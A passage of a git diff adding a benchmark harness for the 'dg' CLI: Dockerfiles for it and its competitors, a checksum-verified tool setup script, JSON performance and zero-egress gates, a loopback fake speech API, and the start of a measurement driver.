+      "mcp": {"cmd": ["/usr/local/bin/mcp", "--api-key=sk_test_dummy"], "env": {"STRIPE_SECRET_KEY": "sk_test_dummy"}}
+    },
+    "supabase-mcp": {
+      "kind": "npm", "version": "0.15.0", "package": "@supabase/mcp-server-supabase",
+      "mcp": {"cmd": ["/usr/local/bin/mcp-server-supabase", "--read-only"], "env": {"SUPABASE_ACCESS_TOKEN": "dummy"}}
+    },
+    "azure-mcp": {
+      "kind": "npm", "version": "4.0.0-beta.4", "package": "@azure/mcp",
+      "mcp": {"cmd": ["/usr/local/bin/azmcp", "server", "start"], "env": {"AZURE_MCP_COLLECT_TELEMETRY": "false", "DOTNET_SYSTEM_GLOBALIZATION_INVARIANT": "1"}}
+    },
+    "assembly": {
+      "kind": "uv", "version": "a4a7760ad7925f5feb1f4776d56b5ffd299f3d54",
+      "spec": "git+https://github.com/AssemblyAI/cli.git@a4a7760ad7925f5feb1f4776d56b5ffd299f3d54",
+      "cli": {"version": ["/home/u/.local/bin/assembly", "--version"], "help": ["/home/u/.local/bin/assembly", "--help"]}
+    },
+    "cartesia-mcp": {
+      "kind": "uv", "version": "0.28.0", "spec": "cartesia-mcp==0.28.0", "python_image": "python313",
+      "mcp": {"cmd": ["/home/u/.local/bin/cartesia-mcp"], "env": {"CARTESIA_API_KEY": "dummy"}}
+    },
+    "elevenlabs-mcp": {
+      "kind": "uv", "version": "0.12.2", "spec": "elevenlabs-mcp==0.12.2",
+      "mcp": {"cmd": ["/home/u/.local/bin/elevenlabs-mcp"], "env": {"ELEVENLABS_API_KEY": "dummy"}}
+    }
+  }
+}
diff --git a/bench/docker/Dockerfile.bin b/bench/docker/Dockerfile.bin
new file mode 100644
index 00000000..1cc8debb
--- /dev/null
+++ b/bench/docker/Dockerfile.bin
@@ -0,0 +1,18 @@
+# A competitor shipped as a release tarball (sha256-verified).
+ARG BASE_IMAGE
+FROM ${BASE_IMAGE}
+ARG HYPERFINE_VERSION
+ARG HYPERFINE_SHA_ARM64
+ARG HYPERFINE_SHA_AMD64
+ARG NAME
+ARG URL
+ARG SHA256
+ARG VERSION
+COPY tools.sh /tmp/tools.sh
+RUN sh /tmp/tools.sh "$HYPERFINE_VERSION" "$HYPERFINE_SHA_ARM64" "$HYPERFINE_SHA_AMD64" && rm /tmp/tools.sh
+RUN curl -fsSL -o /tmp/a.tgz "$URL" \
+ && echo "$SHA256  /tmp/a.tgz" | sha256sum -c - >/dev/null \
+ && mkdir -p "/opt/$NAME" && tar xzf /tmp/a.tgz -C "/opt/$NAME" && rm /tmp/a.tgz \
+ && printf '{"install_mb": %s, "version": "%s"}\n' "$(du -sm /opt/$NAME | cut -f1)" "$VERSION" > /opt/bench/meta.json
+USER u
+WORKDIR /home/u
diff --git a/bench/docker/Dockerfile.dg b/bench/docker/Dockerfile.dg
new file mode 100644
index 00000000..0ef94536
--- /dev/null
+++ b/bench/docker/Dockerfile.dg
@@ -0,0 +1,43 @@
+# dg built from a source tree of this repo (the build context is a clean
+# `git archive` of the ref under test). Installed the way users get the Python
+# path: `uv tool install` with bytecode compiled. Nothing in this build runs
+# deepctl itself. tools.sh comes from the named build context `benchctx`.
+ARG PY_IMAGE
+ARG UV_IMAGE
+FROM ${UV_IMAGE} AS uv
+
+FROM ${PY_IMAGE} AS wheels
+COPY --from=uv /uv /usr/local/bin/uv
+COPY . /src
+WORKDIR /src
+RUN mkdir -p /dist \
+ && for p in packages/*/; do uv build -q --wheel "$p" --out-dir /dist; done \
+ && uv build -q --wheel . --out-dir /dist \
+ && rm -f /dist/deepctl_plugin_example-*.whl \
+ && uv export -q --frozen --no-dev --all-packages --no-emit-workspace --no-hashes -o /dist/constraints.txt
+
+FROM ${PY_IMAGE}
+ARG HYPERFINE_VERSION
+ARG HYPERFINE_SHA_ARM64
+ARG HYPERFINE_SHA_AMD64
+# DEPS=lock pins third-party versions from uv.lock (reproducible; the gate default).
+# DEPS=latest resolves them from the index at build time, as a user's install does.
+ARG DEPS=lock
+COPY --from=benchctx tools.sh /tmp/tools.sh
+RUN sh /tmp/tools.sh "$HYPERFINE_VERSION" "$HYPERFINE_SHA_ARM64" "$HYPERFINE_SHA_AMD64" && rm /tmp/tools.sh
+COPY --from=uv /uv /usr/local/bin/uv
+COPY --from=wheels /dist /tmp/dist
+USER u
+WORKDIR /home/u
+ENV PATH=/home/u/.local/bin:$PATH UV_PYTHON_DOWNLOADS=never UV_NO_CACHE=1
+RUN set -e; root=$(ls /tmp/dist/deepctl-*.whl); \
+    withs=$(ls /tmp/dist/*.whl | grep -v "^$root\$" | sed 's/^/--with /'); \
+    uv tool install -q --compile-bytecode --python /usr/local/bin/python3 \
+      $( [ "$DEPS" = lock ] && echo "-c /tmp/dist/constraints.txt" ) $withs "$root" \
+ && d=/home/u/.local/share/uv/tools/deepctl \
+ && ver=$(basename "$root" | cut -d- -f2) \
+ && printf '{"install_mb": %s, "dists": %s, "version": "%s", "deps": "%s"}\n' \
+      "$(du -sm $d | cut -f1)" "$(ls -d $d/lib/python*/site-packages/*.dist-info | wc -l)" "$ver" "$DEPS" > /home/u/.bench-meta.json
+USER root
+RUN mv /home/u/.bench-meta.json /opt/bench/meta.json && rm -rf /tmp/dist /usr/local/bin/uv
+USER u
diff --git a/bench/docker/Dockerfile.fake b/bench/docker/Dockerfile.fake
new file mode 100644
index 00000000..6e211384
--- /dev/null
+++ b/bench/docker/Dockerfile.fake
@@ -0,0 +1,27 @@
+# Self-test subject: a fake `dg` with the same layout as the real image.
+ARG PY_IMAGE
+FROM ${PY_IMAGE}
+ARG HYPERFINE_VERSION
+ARG HYPERFINE_SHA_ARM64
+ARG HYPERFINE_SHA_AMD64
+ARG DELAY_MS=0
+ARG EGRESS=false
+ARG VERSION=0.0.0
+ARG FAIL=false
+ARG IMPORTS=
+ARG NOPYC=false
+ARG NOPYC_WRITABLE=false
+COPY tools.sh /tmp/tools.sh
+RUN sh /tmp/tools.sh "$HYPERFINE_VERSION" "$HYPERFINE_SHA_ARM64" "$HYPERFINE_SHA_AMD64" && rm /tmp/tools.sh
+COPY --from=fakectx fakecli.py /home/u/.local/share/uv/tools/deepctl/fakecli.py
+RUN d=/home/u/.local/share/uv/tools/deepctl && mkdir -p $d/bin /home/u/.local/bin \
+ && printf '{"delay_ms": %s, "egress": %s, "version": "%s", "fail": %s, "imports": "%s", "nopyc": %s, "nopyc_writable": %s}\n' \
+      "$DELAY_MS" "$EGRESS" "$VERSION" "$FAIL" "$IMPORTS" "$NOPYC" "$NOPYC_WRITABLE" > $d/fake_config.json \
+ && mkdir -p /home/u/fakemods && echo "Y = 1" > /home/u/fakemods/fake_nopyc_w.py \
+ && mkdir -p /opt/fakemods && echo "X = 1" > /opt/fakemods/fake_nopyc.py && chmod 555 /opt/fakemods \
+ && ln -s /usr/local/bin/python3 $d/bin/python \
+ && printf '#!/usr/local/bin/python3\nimport runpy\nrunpy.run_path("%s/fakecli.py", run_name="__main__")\n' "$d" > /home/u/.local/bin/dg \
+ && chmod +x /home/u/.local/bin/dg && chown -R u:u /home/u/.local /home/u/fakemods \
+ && printf '{"install_mb": %s, "dists": 0, "version": "%s"}\n' "$(du -sm $d | cut -f1)" "$VERSION" > /opt/bench/meta.json
+USER u
+WORKDIR /home/u
diff --git a/bench/docker/Dockerfile.npm b/bench/docker/Dockerfile.npm
new file mode 100644
index 00000000..2c0b2b3e
--- /dev/null
+++ b/bench/docker/Dockerfile.npm
@@ -0,0 +1,15 @@
+# A competitor shipped on npm, installed globally at a pinned version.
+ARG BASE_IMAGE
+FROM ${BASE_IMAGE}
+ARG HYPERFINE_VERSION
+ARG HYPERFINE_SHA_ARM64
+ARG HYPERFINE_SHA_AMD64
+ARG PACKAGE
+ARG VERSION
+COPY tools.sh /tmp/tools.sh
+RUN sh /tmp/tools.sh "$HYPERFINE_VERSION" "$HYPERFINE_SHA_ARM64" "$HYPERFINE_SHA_AMD64" && rm /tmp/tools.sh
+RUN npm i -g --no-fund --no-audit --loglevel=error "$PACKAGE@$VERSION" \
+ && printf '{"install_mb": %s, "version": "%s"}\n' "$(du -sm /usr/local/lib/node_modules/$PACKAGE | cut -f1)" "$VERSION" > /opt/bench/meta.json \
+ && npm cache clean --force >/dev/null 2>&1
+USER u
+WORKDIR /home/u
diff --git a/bench/docker/Dockerfile.uv b/bench/docker/Dockerfile.uv
new file mode 100644
index 00000000..5590f7a1
--- /dev/null
+++ b/bench/docker/Dockerfile.uv
@@ -0,0 +1,22 @@
+# A competitor installed with `uv tool install` (bytecode compiled), pinned.
+ARG PY_IMAGE
+ARG UV_IMAGE
+FROM ${UV_IMAGE} AS uv
+FROM ${PY_IMAGE}
+ARG HYPERFINE_VERSION
+ARG HYPERFINE_SHA_ARM64
+ARG HYPERFINE_SHA_AMD64
+ARG SPEC
+ARG VERSION
+COPY tools.sh /tmp/tools.sh
+RUN sh /tmp/tools.sh "$HYPERFINE_VERSION" "$HYPERFINE_SHA_ARM64" "$HYPERFINE_SHA_AMD64" && rm /tmp/tools.sh \
+ && apt-get update -qq && apt-get install -y -qq --no-install-recommends git >/dev/null && rm -rf /var/lib/apt/lists/*
+COPY --from=uv /uv /usr/local/bin/uv
+USER u
+WORKDIR /home/u
+ENV PATH=/home/u/.local/bin:$PATH UV_PYTHON_DOWNLOADS=never UV_NO_CACHE=1
+RUN uv tool install -q --compile-bytecode --python /usr/local/bin/python3 "$SPEC" \
+ && printf '{"install_mb": %s, "version": "%s"}\n' "$(du -sm /home/u/.local/share/uv/tools | cut -f1)" "$VERSION" > /home/u/.bench-meta.json
+USER root
+RUN mv /home/u/.bench-meta.json /opt/bench/meta.json && rm /usr/local/bin/uv
+USER u
diff --git a/bench/docker/tools.sh b/bench/docker/tools.sh
new file mode 100644
index 00000000..35b0b95b
--- /dev/null
+++ b/bench/docker/tools.sh
@@ -0,0 +1,33 @@
+#!/bin/sh
+# Shared image setup for every bench image (runs as root at build time).
+# Installs the measurement tools (strace, GNU time, python3 when missing) and a
+# sha256-verified hyperfine. Args: HYPERFINE_VERSION SHA_ARM64 SHA_AMD64
+set -eu
+HV=$1; SHA_ARM64=$2; SHA_AMD64=$3
+PKGS="strace time procps ca-certificates curl"
+command -v python3 >/dev/null 2>&1 || PKGS="$PKGS python3"
+apt-get update -qq
+DEBIAN_FRONTEND=noninteractive apt-get install -y -qq --no-install-recommends $PKGS >/dev/null
+rm -rf /var/lib/apt/lists/*
+ARCH=$(dpkg --print-architecture)
+case $ARCH in
+  arm64) T=aarch64-unknown-linux-gnu; SHA=$SHA_ARM64 ;;
+  amd64) T=x86_64-unknown-linux-gnu; SHA=$SHA_AMD64 ;;
+  *) echo "unsupported arch $ARCH" >&2; exit 1 ;;
+esac
+curl -fsSL -o /tmp/hf.tgz "https://github.com/sharkdp/hyperfine/releases/download/v$HV/hyperfine-v$HV-$T.tar.gz"
+echo "$SHA  /tmp/hf.tgz" | sha256sum -c - >/dev/null
+tar xzf /tmp/hf.tgz -C /tmp
+install -m 0755 "/tmp/hyperfine-v$HV-$T/hyperfine" /usr/local/bin/hyperfine
+rm -rf /tmp/hf.tgz "/tmp/hyperfine-v$HV-$T"
+# Compile every interpreter's stdlib to .pyc so no bench row pays for source
+# compilation (the official python images ship without stdlib .pyc).
+for py in /usr/local/bin/python3 /usr/bin/python3; do
+  [ -x "$py" ] || continue
+  "$py" -c 'import sysconfig; print(sysconfig.get_paths()["stdlib"])' | while read -r d; do
+    "$py" -m compileall -q -j0 "$d" >/dev/null 2>&1 || true
+  done
+done
+mkdir -p /opt/bench
+strace -V | head -1 > /opt/bench/strace.txt
+useradd -m u
diff --git a/bench/gates.json b/bench/gates.json
new file mode 100644
index 00000000..9e4ff4ca
--- /dev/null
+++ b/bench/gates.json
@@ -0,0 +1,83 @@
+{
+  "_doc": [
+    "Benchmark gates. Each gate names a results row for a subject and a published target (T1-T27); target_text quotes the target.",
+    "Sizes in KB are 1024 bytes; MCP sizes are the raw tools/list response bytes.",
+    "A gate is active when its 'since' version is at or below the version under test; inactive gates are still measured and reported as 'pending'.",
+    "kind 'timing' gates are report-only until 'blocking' is set to true, per row, after the A/A rule clears (see regression.aa).",
+    "Every other kind (deterministic, size, count, resource) blocks as soon as it is active.",
+    "Subjects other than 'dg' (dg-native, dg-npm, dg@<os>) name channels that do not exist yet; their rows report n/a until the harness can build them."
+  ],
+  "subject": "dg",
+  "planned_subjects": ["dg-native", "dg-npm", "dg@macos", "dg@windows"],
+  "regression": {
+    "rule": "fail when median(head - base) over paired rounds > max(pct% of base median, mad_k * MAD(head - base), floor_ms), after one automatic re-run",
+    "pct": 10,
+    "mad_k": 3,
+    "rows": {
+      "version_warm": {"floor_ms": 2, "blocking": false},
+      "help_warm": {"floor_ms": 2, "blocking": false},
+      "subhelp_warm": {"floor_ms": 2, "blocking": false},
+      "mcp_init": {"floor_ms": 2, "blocking": false}
+    },
+    "native_floor_ms": 0.25,
+    "aa": {"runs_required": 30, "max_red": 1, "injected_case_ms": 50}
+  },
+  "imports": {
+    "first_party_prefixes": ["deepctl"],
+    "allowlist": {
+      "paths": ["version", "mcp"],
+      "first_party": ["deepctl", "deepctl.main", "deepctl.mcp", "deepctl.mcp._fast"],
+      "stdlib_exclude": ["asyncio", "ssl", "socket", "concurrent", "threading", "http", "urllib", "email", "logging"],
+      "dotted_exclude": ["importlib.metadata"],
+      "extra": ["__main__", "_distutils_hack", "_virtualenv", "sitecustomize", "usercustomize"]
+    },
+    "forbidden": {
+      "version": ["deepgram", "httpx", "keyring", "pydantic", "rich.traceback", "asyncio"],
+      "help": ["deepgram", "httpx", "keyring", "pydantic", "rich.traceback", "asyncio"],
+      "subhelp": ["deepgram", "httpx", "keyring", "rich.traceback", "asyncio", "ssl"]
+    }
+  },
+  "gates": [
+    {"id": "T1.python", "target": "T1", "subject": "dg", "row": "version_warm", "op": "<=", "value": 30, "unit": "ms", "kind": "timing", "since": "0.5.0", "vs": "all", "target_text": "Python path ≤ 30 ms"},
+    {"id": "T1.native", "target": "T1", "subject": "dg-native", "row": "version_warm", "op": "<=", "value": 1.5, "unit": "ms", "kind": "timing", "since": "0.5.1", "vs": "all", "target_text": "Native ≤ 1.5 ms"},
+    {"id": "T2.python", "target": "T2", "subject": "dg", "row": "help_warm", "op": "<=", "value": 60, "unit": "ms", "kind": "timing", "since": "0.5.0", "vs": "all", "target_text": "Python path (≤ 60 ms)"},
+    {"id": "T2.native", "target": "T2", "subject": "dg-native", "row": "help_warm", "op": "<=", "value": 1.5, "unit": "ms", "kind": "timing", "since": "0.5.1", "vs": "all", "target_text": "Native ≤ 1.5 ms"},
+    {"id": "T3", "target": "T3", "subject": "dg", "row": "subhelp_warm", "op": "<=", "value": 95, "unit": "ms", "kind": "timing", "since": "0.5.0", "vs": "all", "peer_row": "help_warm", "target_text": "≤ 95 ms"},
+    {"id": "T4.version", "target": "T4", "subject": "dg", "row": "egress_version", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "0 `connect()` calls"},
+    {"id": "T4.help", "target": "T4", "subject": "dg", "row": "egress_help", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "0 `connect()` calls"},
+    {"id": "T4.subhelp", "target": "T4", "subject": "dg", "row": "egress_subhelp", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "0 `connect()` calls"},
+    {"id": "T4.mcp", "target": "T4", "subject": "dg", "row": "egress_mcp", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "0 `connect()` calls"},
+    {"id": "T4.backstop", "target": "T4", "subject": "dg", "row": "egress_version_delta_ms", "op": "<=", "value": 25, "unit": "ms", "kind": "timing", "since": "0.5.0", "limit_field": "limit", "target_text": "timing backstop ≤ +25 ms"},
+    {"id": "T5", "target": "T5", "subject": "dg", "row": "help_cold", "op": "<=", "value": 150, "unit": "ms", "kind": "timing", "since": "0.5.0", "vs": "voice", "target_text": "≤ 150 ms"},
+    {"id": "T6.0.5", "target": "T6", "subject": "dg", "row": "install_mb", "op": "<=", "value": 95, "unit": "MB", "kind": "size", "since": "0.5.0", "vs": "voice", "target_text": "≤ 95 MB at 0.5.0"},
+    {"id": "T6.1.0", "target": "T6", "subject": "dg", "row": "install_mb", "op": "<=", "value": 75, "unit": "MB", "kind": "size", "since": "1.0.0", "vs": "voice", "target_text": "≤ 75 MB at 1.0"},
+    {"id": "T7", "target": "T7", "subject": "dg-native", "row": "download_mb", "op": "<=", "value": 30, "unit": "MB", "kind": "size", "since": "1.0.0", "target_text": "≤ 30 MB"},
+    {"id": "T7.checkpoint", "target": "T7", "subject": "dg-native", "row": "download_mb", "op": "<=", "value": 45, "unit": "MB", "kind": "size", "since": "0.5.1", "target_text": "checkpoint ≤ 45 MB"},
+    {"id": "T8.pypi", "target": "T8", "subject": "dg", "row": "mcp_init", "op": "<=", "value": 20, "unit": "ms", "kind": "timing", "since": "0.5.0", "vs": "mcp", "target_text": "Linux PyPI/native/GHCR ≤ 20 ms"},
+    {"id": "T8.npm", "target": "T8", "subject": "dg-npm", "row": "mcp_init", "op": "<=", "value": 40, "unit": "ms", "kind": "timing", "since": "1.0.0", "target_text": "npm ≤ 40 ms"},
+    {"id": "T8.macos", "target": "T8", "subject": "dg@macos", "row": "mcp_init_ratio_vs_flyctl", "op": "<=", "value": 0.9, "unit": "ratio", "kind": "timing", "since": "0.6.0", "target_text": "≤ 0.9 × fly's on the same runner"},
+    {"id": "T8.windows", "target": "T8", "subject": "dg@windows", "row": "mcp_init_ratio_vs_flyctl", "op": "<=", "value": 0.9, "unit": "ratio", "kind": "timing", "since": "0.6.0", "target_text": "≤ 0.9 × fly's on the same runner"},
+    {"id": "T9.default", "target": "T9", "subject": "dg", "row": "mcp_tools", "op": "==", "value": 10, "unit": "count", "kind": "count", "since": "0.6.0", "vs": "voice_mcp", "target_text": "Default 10"},
+    {"id": "T9.read", "target": "T9", "subject": "dg", "row": "mcp_read_tools", "op": "==", "value": 23, "unit": "count", "kind": "count", "since": "0.6.0", "vs": "voice_mcp", "target_text": "`read` toolset 23"},
+    {"id": "T10.annotations", "target": "T10", "subject": "dg", "row": "mcp_annotations_pct", "op": "==", "value": 100, "unit": "%", "kind": "deterministic", "since": "0.6.0", "target_text": "100% / 100%"},
+    {"id": "T10.outputSchema", "target": "T10", "subject": "dg", "row": "mcp_output_schema_pct", "op": "==", "value": 100, "unit": "%", "kind": "deterministic", "since": "0.6.0", "target_text": "100% / 100%"},
+    {"id": "T11.total", "target": "T11", "subject": "dg", "row": "mcp_list_kb", "op": "<=", "value": 12, "unit": "KB", "kind": "size", "since": "0.6.0", "vs": "voice_mcp", "target_text": "Default set ≤ 12 KB total and ≤ 1.2 KB/tool"},
+    {"id": "T11.per_tool", "target": "T11", "subject": "dg", "row": "mcp_kb_per_tool", "op": "<=", "value": 1.2, "unit": "KB", "kind": "size", "since": "0.6.0", "vs": "voice_mcp", "target_text": "Default set ≤ 12 KB total and ≤ 1.2 KB/tool"},
+    {"id": "T12", "target": "T12", "subject": "dg", "row": "mcp_offline_clean", "op": "==", "value": true, "unit": "bool", "kind": "deterministic", "since": "0.5.0", "target_text": "0 junk bytes"},
+    {"id": "T20", "target": "T20", "subject": "dg", "row": "rss_prerecorded_500mb", "op": "<=", "value": 60, "unit": "MB", "kind": "resource", "since": "0.5.0", "target_text": "≤ 60 MB flat"},
+    {"id": "T21.0.5", "target": "T21", "subject": "dg", "row": "json_50k_words", "op": "<=", "value": 1000, "unit": "ms", "kind": "timing", "since": "0.5.0", "target_text": "≤ 1.0 s at 0.5.0"},
+    {"id": "T21.rebaselined", "target": "T21", "subject": "dg", "row": "json_50k_words", "op": "<=", "value": 500, "unit": "ms", "kind": "timing", "since": "0.5.1", "target_text": "≤ 0.5 s"},
+    {"id": "T26", "target": "T26", "subject": "dg-npm", "row": "version_warm", "op": "<=", "value": 25, "unit": "ms", "kind": "timing", "since": "1.0.0", "target_text": "≤ 25 ms"},
+    {"id": "T27.cold", "target": "T27", "subject": "dg", "row": "mcp_call_cold", "op": "<=", "value": 400, "unit": "ms", "kind": "timing", "since": "0.6.0", "target_text": "≤ 400 ms"},
+    {"id": "T27.warm", "target": "T27", "subject": "dg", "row": "mcp_call_warm", "op": "<=", "value": 50, "unit": "ms", "kind": "timing", "since": "0.6.0", "target_text": "≤ 50 ms warm"},
+    {"id": "D.norecompile.version", "target": "deterministic", "subject": "dg", "row": "norecompile_version", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.4.0", "target_text": "no-recompile check"},
+    {"id": "D.norecompile.help", "target": "deterministic", "subject": "dg", "row": "norecompile_help", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.4.0", "target_text": "no-recompile check"},
+    {"id": "D.norecompile.mcp", "target": "deterministic", "subject": "dg", "row": "norecompile_mcp", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "no-recompile check"},
+    {"id": "D.allowlist.version", "target": "deterministic", "subject": "dg", "row": "imports_version_allowlist", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "the import allowlist"},
+    {"id": "D.allowlist.mcp", "target": "deterministic", "subject": "dg", "row": "imports_mcp_allowlist", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "the import allowlist"},
+    {"id": "D.forbidden.version", "target": "deterministic", "subject": "dg", "row": "imports_version", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "the forbidden-module lists"},
+    {"id": "D.forbidden.help", "target": "deterministic", "subject": "dg", "row": "imports_help", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "the forbidden-module lists"},
+    {"id": "D.forbidden.subhelp", "target": "deterministic", "subject": "dg", "row": "imports_subhelp", "op": "==", "value": 0, "unit": "count", "kind": "deterministic", "since": "0.5.0", "target_text": "the forbidden-module lists"},
+    {"id": "B.core_import", "target": "import-budget", "subject": "dg", "row": "floor_import_deepctl_core", "op": "<=", "value": 70, "unit": "ms", "kind": "timing", "since": "0.5.0", "target_text": "median ≤ **70 ms**"}
+  ]
+}
diff --git a/bench/lib/fake_dg.py b/bench/lib/fake_dg.py
new file mode 100644
index 00000000..3c8d2d55
--- /dev/null
+++ b/bench/lib/fake_dg.py
@@ -0,0 +1,101 @@
+"""Fake speech API for the data-path bench rows. Stdlib only, loopback only.
+
+Serves the prerecorded transcription shape the CLI decodes, plus the project
+listing some versions call before a request. It never forwards anything.
+
+Env: FAKE_PORT (8080), WORDS (words in the transcript, default 50).
+"""
+
+import json
+import os
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+
+
+def transcript_json(n_words):
+    words, t = [], 0.0
+    for i in range(n_words):
+        w = "word%d" % i
+        words.append(
+            {
+                "word": w,
+                "start": t,
+                "end": t + 0.3,
+                "confidence": 0.99,
+                "punctuated_word": w,
+                "speaker": i // 50 % 2,
+            }
+        )
+        t += 0.35
+    text = " ".join(w["word"] for w in words)
+    return {
+        "metadata": {
+            "request_id": "fake",
+            "duration": t,
+            "channels": 1,
+            "model_info": {"m": {"name": "nova-3", "version": "fake"}},
+        },
+        "results": {
+            "channels": [
+                {
+                    "alternatives": [
+                        {"transcript": text, "confidence": 0.99, "words": words}
+                    ]
+                }
+            ]
+        },
+    }
+
+
+BODY = json.dumps(transcript_json(int(os.environ.get("WORDS", "50")))).encode()
+PROJECTS = json.dumps(
+    {
+        "projects": [
+            {"project_id": "00000000-0000-0000-0000-000000000000", "name": "fake"}
+        ]
+    }
+).encode()
+
+
+class H(BaseHTTPRequestHandler):
+    protocol_version = "HTTP/1.1"
+
+    def log_message(self, *a):
+        pass
+
+    def _drain(self):
+        if self.headers.get("Transfer-Encoding", "").lower() == "chunked":
+            while True:
+                size = int(self.rfile.readline().split(b";")[0].strip() or b"0", 16)
+                if size == 0:
+                    self.rfile.readline()
+                    return
+                left = size
+                while left:
+                    left -= len(self.rfile.read(min(left, 1 << 20)))
+                self.rfile.readline()
+        left = int(self.headers.get("Content-Length") or 0)
+        while left > 0:
+            n = len(self.rfile.read(min(left, 1 << 20)))
+            if not n:
+                return
+            left -= n
+
+    def _send(self, body):
+        self.send_response(200)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def do_GET(self):
+        self._send(PROJECTS if self.path.startswith("/v1/projects") else b"{}")
+
+    def do_POST(self):
+        self._drain()
+        self._send(BODY if self.path.startswith("/v1/listen") else b"{}")
+
+
+if __name__ == "__main__":
+    ThreadingHTTPServer(
+        ("127.0.0.1", int(os.environ.get("FAKE_PORT", "8080"))), H
+    ).serve_forever()
diff --git a/bench/lib/measure.py b/bench/lib/measure.py
new file mode 100644
index 00000000..e79e3bb5
--- /dev/null
+++ b/bench/lib/measure.py
@@ -0,0 +1,885 @@
+"""In-container measurement driver for the bench harness.
+
+Runs inside a bench image (started with --network none) and writes one JSON
+file per row into OUT_DIR (default /out). Stdlib only; runs on Python 3.9+
+(the imports rows need 3.10+ for sys.stdlib_module_names; they run only in dg images),
+because competitor images bring their own distro python3.
+
+Every subcommand takes the measured command after `--`.
+
+  hf       hyperfine -N timing (warm rows, floors, data path)
+  mcp      MCP stdio probe: spawn -> initialize, -> tools/list; tool stats; junk bytes
+  egress   zero-egress check: strace connect() count, hang-proxy accepts, timing backstop
+  imports  modules imported on a path (PYTHONPROFILEIMPORTTIME) vs allowlist/forbidden lists
+  verbose  source compiles under PYTHONVERBOSE (the no-recompile check)
+  rss      peak RSS via GNU time
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import selectors
+import socket
+import statistics
+import struct
+import subprocess
+import sys
+import tempfile
+import threading
+import time
+
+OUT = os.environ.get("OUT_DIR", "/out")
+HERE = os.path.dirname(os.path.abspath(__file__))
+GATES = os.environ.get("BENCH_GATES", os.path.join(os.path.dirname(HERE), "gates.json"))
+PROXY_PORT = 8899
+FAKE_PORT = 8080
+
+INIT = {
+    "jsonrpc": "2.0",
+    "id": 1,
+    "method": "initialize",
+    "params": {
+        "protocolVersion": "2025-11-25",
+        "capabilities": {},
+        "clientInfo": {"name": "dg-bench", "version": "1"},
+    },
+}
+INITIALIZED = {"jsonrpc": "2.0", "method": "notifications/initialized"}
+LIST = {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}}
+
+
+def mcp_session_bytes() -> bytes:
+    return b"".join((json.dumps(m) + "\n").encode() for m in (INIT, INITIALIZED, LIST))
+
+
+# ----------------------------------------------------------------- helpers
+def median(xs):
+    return statistics.median(xs) if xs else None
+
+
+def mad(xs):
+    if not xs:
+        return None
+    m = statistics.median(xs)
+    return statistics.median([abs(x - m) for x in xs])
+
+
+def stats_ms(times_ms):
+    return {
+        "median": round(median(times_ms), 4),
+        "mad": round(mad(times_ms), 4),
+        "mean": round(statistics.fmean(times_ms), 4),
+        "stddev": round(statistics.pstdev(times_ms), 4) if len(times_ms) > 1 else None,
+        "min": round(min(times_ms), 4),
+        "max": round(max(times_ms), 4),
+        "n": len(times_ms),
+    }
+
+
+def write(name, obj):
+    os.makedirs(OUT, exist_ok=True)
+    obj = dict(obj, row=name)
+    with open(os.path.join(OUT, name + ".json"), "w") as f:
+        json.dump(obj, f, indent=1, sort_keys=True)
+    summary = {
+        k: obj.get(k) for k in ("value", "unit", "error") if obj.get(k) is not None
+    }
+    print(name, json.dumps(summary))
+
+
+def env_with(pairs):
+    env = dict(os.environ)
+    for p in pairs or []:
+        k, _, v = p.partition("=")
+        env[k] = v
+    return env
+
+
+def session_file():
+    fd, path = tempfile.mkstemp(prefix="mcp-session-", suffix=".jsonl")
+    os.write(fd, mcp_session_bytes())
+    os.close(fd)
+    return path
+
+
+def wav_header(total):
+    """44-byte PCM WAV header (16 kHz, mono, 16-bit) for a file of `total` bytes."""
+    data = max(0, total - 44)
+    return (
+        b"RIFF"
+        + struct.pack("<I", 36 + data)
+        + b"WAVEfmt "
+        + struct.pack("<IHHIIHH", 16, 1, 1, 16000, 32000, 2, 16)
+        + b"data"
+        + struct.pack("<I", data)
+    )
+
+
+def make_files(specs):
+    """--make-file /tmp/x.wav:64K creates a file of that size: silence, with a WAV header for *.wav."""
+    mult = {"K": 1 << 10, "M": 1 << 20, "G": 1 << 30}
+    for spec in specs or []:
+        path, _, size = spec.rpartition(":")
+        n = int(size[:-1]) * mult[size[-1]] if size[-1] in mult else int(size)
+        if os.path.exists(path) and os.path.getsize(path) == n:
+            continue
+        with open(path, "wb") as f:
+            chunk = b"\0" * (1 << 20)
+            left = n
+            if path.endswith(".wav"):
+                f.write(wav_header(n))
+                left -= 44
+            while left > 0:
+                f.write(chunk[: min(left, len(chunk))])
+                left -= len(chunk)
+
+
+class FakeServer:
+    """Starts lib/fake_dg.py on 127.0.0.1:FAKE_PORT for data-path rows."""
+
+    def __init__(self, words):
+        self.words = words
+        self.p = None
+
+    def __enter__(self):
+        env = dict(os.environ, WORDS=str(self.words), FAKE_PORT=str(FAKE_PORT))
+        self.p = subprocess.Popen(
+            [sys.executable, "-I", os.path.join(HERE, "fake_dg.py")],
+            env=env,
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+        )
+        end = time.time() + 15
+        while time.time() < end:
+            try:
+                socket.create_connection(("127.0.0.1", FAKE_PORT), timeout=0.2).close()
+                return self
+            except OSError:
+                time.sleep(0.05)
+        raise RuntimeError("fake server did not start")
+
+    def __exit__(self, *a):
+        self.p.kill()
+        self.p.wait()
+
+
+class HangProxy(threading.Thread):
+    """Accepts connections and never answers: a blackholed egress path."""
+
